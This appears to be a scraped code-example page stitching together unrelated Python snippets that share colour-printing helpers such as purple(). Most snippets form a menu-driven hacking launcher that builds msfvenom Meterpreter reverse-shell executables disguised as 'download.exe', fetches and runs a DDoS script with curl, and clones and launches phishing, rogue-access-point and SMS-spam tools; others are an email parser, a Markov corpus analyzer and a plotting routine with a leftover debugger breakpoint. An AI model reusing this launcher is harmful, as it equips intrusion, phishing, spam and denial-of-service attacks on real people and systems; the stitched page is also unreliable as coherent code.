Beispiel #1
0
def decoracion():
    purple()
    # hola
    print("              |                    1 -->> MsfVenom")
    print("              |                    2 -->> DDoS")
    print("              |                    3 -->> Phishing")
    print("              |                    4 -->> Wpscan")
    print("              |                    5 -->> EvilTrust")
    print("              |                    6 -->> Spam SMS")
    print("              |                    7 -->> Exit")
    option = input("              +-> ")

    if option == "1":
        msf()

    if option == "2":
        ddos()

    if option == "3":
        phishing()

    if option == "4":
        wpscan()

    if option == "5":
        eviltrust()

    if option == "6":
        sms()

    if option == "7":
        os.system("clear")
        exit()
Beispiel #2
0
def sms():
    os.system("clear")
    red()
    print(banner)
    purple()
    print("              |                    1 -->> Download Tool")
    print("              |                    2 -->> Execute Tool")
    print("              |                    3 -->> Exit")

    option = input("              +-> ")
    if option == "1":
        print("Downloading...")
        yellow()
        os.system("git clone https://github.com/Darkmux/SETSMS")
        red()
        print("Downloaded!")
        time.sleep(2)
        while True:
            sms()

    if option == "2":
        os.system("mv SETSMS/* .")
        os.system("chmod 777 SETSMS.sh")
        os.system("bash SETSMS.sh")

    if option == "3":
        start_menu()
Beispiel #3
0
def eviltrust():
    os.system("clear")
    red()
    print(banner)
    purple()
    print("              |                    1 -->> Download Tool")
    print("              |                    2 -->> Execute Tool")
    print("              |                    3 -->> Exit")

    option = input("              +-> ")
    if option == "1":
        print("Downloading...")
        yellow()
        os.system("git clone https://github.com/s4vitar/evilTrust")
        red()
        print("Downloaded!")
        time.sleep(2)
        while True:
            eviltrust()

    if option == "2":
        os.system("mv evilTrust/* .")
        os.system("clear")
        os.system("sudo bash evilTrust.sh -m terminal")

    if option == "3":
        start_menu()
Beispiel #4
0
def phishing():
    os.system("clear")

    red()
    print(banner)
    purple()
    print("              |                    1 -->> Download Tool")
    print("              |                    2 -->> Execute tool")
    print("              |                    3 -->> Exit")
    x = input("              ↳ ")

    print("")
    if x == "1":

        yellow()
        os.system("git clone https://github.com/htr-tech/zphisher")
        print("")
        red()
        print("Downloaded!!")
        time.sleep(1)
        while True:
            phishing()

    if x == "2":
        print("")
        os.system("mv zphisher/* .")
        os.system("mv zphisher/.sites .")
        os.system("bash zphisher.sh")

    if x == "3":
        start_menu()
Beispiel #5
0
def ddos():
    os.system("clear")
    red()
    print(banner)
    purple()
    print("              |                    1 -->> Download Tool")
    print("              |                    2 -->> Execute tool")
    print("              |                    3 -->> Exit")
    x = input("              ↳ ")

    print("")
    if x == "1":
        yellow()
        print("")
        print("Downloading...")
        os.system(
            "curl https://raw.githubusercontent.com/yorkox0/exaple01/main/ddos.py -o ddos.py"
        )
        red()
        print("Downloaded!!")
        time.sleep(2)
        while True:
            ddos()

    if x == "2":
        print("")
        os.system("python3 ddos.py")

    if x == "3":
        start_menu()
Beispiel #6
0
def msf():
    os.system("clear")
    red()
    print(banner)
    purple()
    print("              |                    1 -->> Windows reverse shell")
    print("              |                    2 -->> Linux reverse shell x86")
    print("              |                    3 -->> Linux reverse shell x64")
    print("              |                    4 -->> Exit")
    x = input("              ↳ ")

    if x == "1":

        print("")
        ip = input("IP -->> ")
        port = input("PORT ->> ")
        yellow()
        print("Creating payload...")
        os.system("msfvenom -p windows/meterpreter/reverse_tcp LHOST=" + ip +
                  " LPORT=" + port + " -f exe > download.exe")
        red()
        print("FileName == download.exe")
        time.sleep(2)
        while True:
            msf()

    if x == "2":

        print("")
        ip = input("IP -->> ")
        port = input("PORT ->>")
        yellow()
        print("Creating payload...")
        os.system("msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=" + ip +
                  " LPORT=" + port + " -f elf > downloadx86.elf")
        red()
        print("FileName == downloadx86.elf")
        time.sleep(2)
        while True:
            msf()

    if x == "3":

        print("")
        ip = input("IP -->> ")
        port = input("PORT ->> ")
        yellow()
        print("Creating payload...")
        os.system("msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=" + ip +
                  " LPORT=" + port + " -f elf > downloadx64.elf")
        red()
        time.sleep(2)
        print("FileName == downloadx64.elf")
        while True:
            msf()

    if x == "4":
        start_menu()
Beispiel #7
0
 def basic_parse(self):
     print(bold(blue("[To]")), (":").rjust(11), self.eml["To"])
     print(bold(green("[From]")), (":").rjust(9), self.eml["From"])
     print(bold(yellow("[Sender]")), (":").rjust(7), self.eml["Sender"])
     print(bold(orange("[Delivered To]")), ":", self.eml["Delivered-To"])
     print(bold(red("[Subject]")), (":").rjust(6), self.eml["Subject"])
     print(bold(purple("[Date]")), (":").rjust(9), self.eml["Date"])
     print(bold(grey("[Content-Type]")), (":").rjust(1),
           self.eml["Content-Type"])
Beispiel #8
0
def wpscan():
    os.system("clear")
    red()
    print(banner)
    blue()
    print("")
    purple()
    web = input("Web whith https:// -->> ")
    yellow()
    print("Do you want to save it on web.txt? y/n")
    if input("-->> ") == "y":
        os.system("wpscan --url " + web + ">> web.txt")
        red()
        print("Saved!!")
        time.sleep(1)
        while True:
            start_menu()
    else:
        os.system("wpscan --url " + web)
        red()
        input("Press INTRO to exit")
        while True:
            start_menu()
    def analyze_corpus(self, max_chains):
        """
        Analyzes the corpuses and generates a number of word locations to use for assessing probabilities
        :param max_chains: the maximum number of links in a chain the corpus needs to be able to generate
        :return: an array of arrays - each inner array holds key-value pairs, where the key is a history of words, and
            and the value is the index of the word that appears subsequently
        """
        if max_chains < 2:
            raise ValueError(
                "Chain length must be at least 2 (two is not recommended tho)")
        # # NOTE: It seems more time efficient to just generate new chaining data, as bringing a 50-120MB file into
        # #     memory doesn't seem to be too quick in comparison
        # chain_data = "bot_files/{0}/{0}_markov_data.json".format(self.handle)
        # if self.check_markov_data():  # if good enough, load
        #     if os.path.exists(chain_data):
        #         print colors.yellow("retrieving chaining data...\n")
        #         with open(chain_data, "rb") as f:
        #             return json.load(f)

        print colors.yellow("analyzing corpus...")
        corpuses = [
            []
        ] * max_chains  # creates bodies of chain occurrences all at once
        corpuses[0] = self.survey_one_word()
        print colors.purple("\t1-chaining done")
        for n in range(1, max_chains):
            corpuses[n] = self.survey_n_words(n)
            print colors.purple("\t%s-chaining done" % (n + 1))
        print
        # print colors.yellow("\nstoring...\n")
        # with open(chain_data, 'wb') as outfile:
        #     json.dump(corpuses, outfile)

        # for x in corpuses[2]:  # see how the data is stored
        #     print ("\"%s\"" % x) + "\t:\t" + str(corpuses[2][x])
        return corpuses
Beispiel #10
0
def model_nb_plays_generator_with_noise():
    step = 40
    method = 'sin'
    # method = 'noise'

    with_noise = True
    diff_weights = True
    run_test = False
    train_invert = True
    interp = 10
    force_rerun = False

    mu = 0
    sigma = 2
    points = 1000
    input_dim = 1
    # ground truth
    nb_plays = 20
    units = 1
    state = 0
    activation = None
    # activation = 'tanh'
    # predicitons
    __nb_plays__ = 20
    __units__ = 1
    __state__ = 0
    __activation__ = None
    # __activation__ = 'tanh'

    loss_name = 'mse'

    if method == 'noise':
        with_noise = True

    if with_noise is False:
        mu = 0
        sigma = 0

    if interp == 1:
        if run_test is False:
            if diff_weights is True:
                base_file_key = 'models_diff_weights'
                predictions_file_key = 'models_diff_weights_predictions'

                models_gif_key = 'models_diff_weights_gif'
                models_snake_gif_key = 'models_diff_weights_snake_gif'
                models_ts_outputs_gif_key = 'models_diff_weights_ts_outputs_gif'
            else:
                base_file_key = 'models'
                predictions_file_key = 'models_predictions'

                models_gif_key = 'models_gif'
                models_snake_gif_key = 'models_snake_gif'
                models_ts_outputs_gif_key = 'models_ts_outputs_gif'
        elif run_test is True:
            if diff_weights is True:
                base_file_key = 'models_diff_weights_test'
                predictions_file_key = 'models_diff_weights_test_predictions'
                models_gif_key = 'models_diff_weights_test_gif'
                models_snake_gif_key = 'models_diff_weights_test_snake_gif'
                models_ts_outputs_gif_key = 'models_diff_weights_test_ts_outputs_gif'
            else:
                raise
    elif interp != 1:
        if run_test is False:
            if diff_weights is True:
                if train_invert is False:
                    base_file_key = 'models_diff_weights'
                    models_interp_key = 'models_diff_weights_interp'
                    predictions_file_key = 'models_diff_weights_predictions_interp'

                    models_gif_key = 'models_diff_weights_interp_gif'
                    models_snake_gif_key = 'models_diff_weights_snake_interp_gif'
                    models_ts_outputs_gif_key = 'models_diff_weights_ts_outputs_interp_gif'
                elif train_invert is True:
                    base_file_key = 'models_diff_weights_interp'
                    models_interp_key = 'models_diff_weights_invert_interp'
                    predictions_file_key = 'models_diff_weights_invert_interp_predictions'

                    models_gif_key = 'models_diff_weights_invert_interp_gif'
                    models_snake_gif_key = 'models_diff_weights_invert_snake_interp_gif'
                    models_ts_outputs_gif_key = 'models_diff_weights_invert_ts_outputs_interp_gif'
            else:
                # base_interp_key = 'models_interp'
                # predictions_file_key = 'models_predictions_interp'

                # models_gif_key = 'models_interp_gif'
                # models_snake_gif_key = 'models_snake_interp_gif'
                # models_ts_outputs_gif_key = 'models_ts_outputs_interp_gif'
                raise
        elif run_test is True:
            if diff_weights is True:
                base_file_key = 'models_diff_weights_test'
                models_interp_key = 'models_diff_weights_test_interp'
                predictions_file_key = 'models_diff_weights_test_predictions_interp'
                models_gif_key = 'models_diff_weights_test_interp_gif'
                models_snake_gif_key = 'models_diff_weights_test_snake_interp_gif'
                models_ts_outputs_gif_key = 'models_diff_weights_test_ts_outputs_interp_gif'
            else:
                raise

    if run_test is True and method == 'sin':
        method = 'mixed'

    fname = constants.DATASET_PATH[base_file_key].format(interp=interp,
                                                         method=method,
                                                         activation=activation,
                                                         state=state,
                                                         mu=mu,
                                                         sigma=sigma,
                                                         units=units,
                                                         nb_plays=nb_plays,
                                                         points=points,
                                                         input_dim=input_dim)

    _inputs, ground_truth = tdata.DatasetLoader.load_data(fname)
    import ipdb
    ipdb.set_trace()
    LOG.debug("Load **ground-truth** dataset from file: {}".format(
        coloring.cyan(fname)))

    predicted_fname = constants.DATASET_PATH[predictions_file_key].format(
        interp=interp,
        method=method,
        activation=activation,
        state=state,
        mu=mu,
        sigma=sigma,
        units=units,
        nb_plays=nb_plays,
        points=points,
        input_dim=input_dim,
        __activation__=__activation__,
        __state__=__state__,
        __units__=__units__,
        __nb_plays__=__nb_plays__,
        loss=loss_name)
    if interp == 1:
        try:
            _, predictions = tdata.DatasetLoader.load_data(predicted_fname)
            LOG.debug("Load **predicted** dataset from file: {}".format(
                coloring.cyan(predicted_fname)))
        except FileNotFoundError:
            LOG.warn("GROUND TRUTH and PREDICTIONS are the SAME dataset")
            predictions = ground_truth

    elif interp != 1:
        models_interp_fname = constants.DATASET_PATH[models_interp_key].format(
            interp=interp,
            method=method,
            activation=activation,
            state=state,
            mu=mu,
            sigma=sigma,
            units=units,
            nb_plays=nb_plays,
            points=points,
            input_dim=input_dim,
            __activation__=__activation__,
            __state__=__state__,
            __units__=__units__,
            __nb_plays__=__nb_plays__,
            loss=loss_name)

        if force_rerun is False and os.path.isfile(models_interp_fname):
            LOG.debug("Already interploted...")
            t_interp = np.linspace(1, points,
                                   (int)(interp * points - interp + 1))
            _inputs_interp, ground_truth_interp = tdata.DatasetLoader.load_data(
                models_interp_fname)
            LOG.debug("Load **ground-truth** dataset from file: {}".format(
                coloring.purple(models_interp_fname)))
            try:
                _, predictions_interp = tdata.DatasetLoader.load_data(
                    predicted_fname)
                LOG.debug("Load **predicted** dataset from file: {}".format(
                    coloring.cyan(predicted_fname)))
            except FileNotFoundError:
                LOG.warn("GROUND TRUTH and PREDICTIONS are the SAME dataset")
                predictions_interp = ground_truth_interp

            clip_length = min(predictions_interp.shape[0],
                              _inputs_interp.shape[0])
            t_interp = t_interp[:clip_length]
            _inputs_interp = _inputs_interp[:clip_length]
            ground_truth_interp = ground_truth_interp[:clip_length]
            predictions_interp = predictions_interp[:clip_length]
        else:
            if train_invert is False:
                diff = _inputs[1:] - _inputs[:-1]
                LOG.debug("Max jump between two successive x is {}".format(
                    np.max(np.abs(diff))))

                t_ = np.linspace(1, points, points)

                # f1 = interp1d(t_, _inputs)
                f2 = interp1d(t_, _inputs, kind='cubic')
                t_interp = np.linspace(1, points,
                                       (int)(interp * points - interp + 1))

                _inputs_interp = np.interp(t_interp, t_, _inputs)
                _inputs_interp = f2(t_interp)
                clip_length = int((t_interp.shape[0] // input_dim) * input_dim)
                _inputs_interp = _inputs_interp[:clip_length]
                # ground_truth_interp = np.interp(_inputs_interp, _inputs, ground_truth, period=1)
                # predictions_interp = np.interp(_inputs_interp, _inputs, predictions, period=1)
                _, ground_truth_interp = tdata.DatasetGenerator.systhesis_model_generator(
                    inputs=_inputs_interp,
                    nb_plays=nb_plays,
                    points=t_interp.shape[0],
                    units=units,
                    mu=None,
                    sigma=None,
                    input_dim=input_dim,
                    activation=activation,
                    with_noise=None,
                    method=None,
                    diff_weights=diff_weights)
                predictions_interp = ground_truth_interp
                # import matplotlib.pyplot as plt
                # length = 50
                # plt.plot(t_[:length], _inputs[:length], 'o')
                # plt.plot(t_interp[:interp*length-1], _inputs_interp[:(interp*length-1)], '-x')
                # plt.show()

                # plt.plot(t_[:length], ground_truth[:length], 'o')
                # plt.plot(t_interp[:interp*length-1], ground_truth_interp[:(interp*length-1)], '-x')
                # plt.show()

                LOG.debug("Save interploted dataset to file: {}".format(
                    coloring.cyan(models_interp_fname)))
                tdata.DatasetSaver.save_data(_inputs_interp,
                                             ground_truth_interp,
                                             models_interp_fname)
                sys.exit(0)
            elif train_invert is True:
                _inputs_interp, ground_truth_interp = ground_truth, _inputs
                tdata.DatasetSaver.save_data(_inputs_interp,
                                             ground_truth_interp,
                                             models_interp_fname)
                LOG.debug("Save interploted dataset to file: {}".format(
                    coloring.cyan(models_interp_fname)))
                sys.exit(0)

        _inputs = _inputs_interp
        ground_truth = ground_truth_interp
        predictions = predictions_interp

    models_gif_fname = constants.DATASET_PATH[models_gif_key].format(
        interp=interp,
        method=method,
        activation=activation,
        state=state,
        mu=mu,
        sigma=sigma,
        units=units,
        nb_plays=nb_plays,
        points=points,
        input_dim=input_dim,
        __activation__=__activation__,
        __state__=__state__,
        __units__=__units__,
        __nb_plays__=__nb_plays__,
        loss=loss_name)
    models_snake_gif_fname = constants.DATASET_PATH[
        models_snake_gif_key].format(interp=interp,
                                     method=method,
                                     activation=activation,
                                     state=state,
                                     mu=mu,
                                     sigma=sigma,
                                     units=units,
                                     nb_plays=nb_plays,
                                     points=points,
                                     input_dim=input_dim,
                                     __activation__=__activation__,
                                     __state__=__state__,
                                     __units__=__units__,
                                     __nb_plays__=__nb_plays__,
                                     loss=loss_name)
    models_ts_outputs_gif_fname = constants.DATASET_PATH[
        models_ts_outputs_gif_key].format(interp=interp,
                                          method=method,
                                          activation=activation,
                                          state=state,
                                          mu=mu,
                                          sigma=sigma,
                                          units=units,
                                          nb_plays=nb_plays,
                                          points=points,
                                          input_dim=input_dim,
                                          __activation__=__activation__,
                                          __state__=__state__,
                                          __units__=__units__,
                                          __nb_plays__=__nb_plays__,
                                          loss=loss_name)

    LOG.debug("Write outputs vs. inputs {} into file {}".format(
        coloring.red("(sequence mode)"), coloring.cyan(models_gif_fname)))

    outputs = np.vstack([ground_truth, predictions]).T
    colors = utils.generate_colors(outputs.shape[-1])
    inputs = np.vstack([_inputs for _ in range(outputs.shape[-1])]).T

    # utils.save_animation(inputs, outputs, models_gif_fname, step=step, colors=colors)

    ##### SNAKE
    _inputs = np.hstack([_inputs, _inputs])
    ground_truth = np.hstack([ground_truth, ground_truth])
    predictions = np.hstack([predictions, predictions])

    inputs = np.vstack([_inputs for _ in range(outputs.shape[-1])]).T
    outputs_snake = np.vstack([ground_truth, predictions]).T

    LOG.debug("Write outputs vs. inputs {} into file {}".format(
        coloring.red("(snake mode)"), coloring.cyan(models_snake_gif_fname)))
    utils.save_animation(inputs,
                         outputs_snake,
                         models_snake_gif_fname,
                         step=step,
                         colors=colors,
                         mode="snake")

    if interp == 1:
        _inputs = np.arange(points)
    else:
        _inputs = t_interp

    inputs = np.vstack([_inputs for _ in range(outputs.shape[-1])]).T
    # outputs = np.vstack([ground_truth, predictions]).T
    LOG.debug("Write outputs vs. ts into file {}".format(
        coloring.cyan(models_ts_outputs_gif_fname)))
    utils.save_animation(inputs,
                         outputs,
                         models_ts_outputs_gif_fname,
                         step=points,
                         colors=colors)
Beispiel #11
0
from validator import val


class SimModel(BaseEstimator, RegressorMixin):
    def fit(self, X, y):
        pass

    def predict(self, X):
        return X


print("testing sim score")
local = val(algs=[SimModel()], post=[Average()])

colors.purple(local)
colors.green(local["score"])

for model in os.listdir("models"):
    model = joblib.load(os.path.join("models", model))
    local = val(algs=[model],
                post=[
                    Average(),
                    CoupleEqualizerFast(),
                    MetricEqualizer(metric="zscore"),
                    MetricEqualizer(metric="percentage"),
                    MetricEqualizer(metric="zscore_median"),
                    MetricEqualizer(metric="percentage_median"),
                    MetricEqualizer(metric="distance"),
                    MetricEqualizer(metric="distance_median")
                ])
Beispiel #12
0
def start_menu():
    os.system("clear")
    red()
    print(banner)
    purple()
    decoracion()